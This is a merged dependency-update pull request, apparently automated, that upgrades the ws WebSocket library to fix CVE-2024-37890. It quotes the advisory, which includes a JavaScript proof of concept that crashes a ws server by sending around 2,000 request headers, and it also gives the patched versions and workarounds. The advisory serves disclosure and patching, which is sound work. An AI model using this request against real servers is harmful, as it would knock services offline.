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Update dependency ws to v7.5.10 [SECURITY] #259

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This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 7.5.7 -> 7.5.10 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

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Release Notes

websockets/ws (ws)

v7.5.10

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v7.5.9

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v7.5.8

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@gagoar gagoar merged commit 33668e9 into master Aug 6, 2024
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@gagoar gagoar deleted the renovate/npm-ws-vulnerability branch August 6, 2024 12:37
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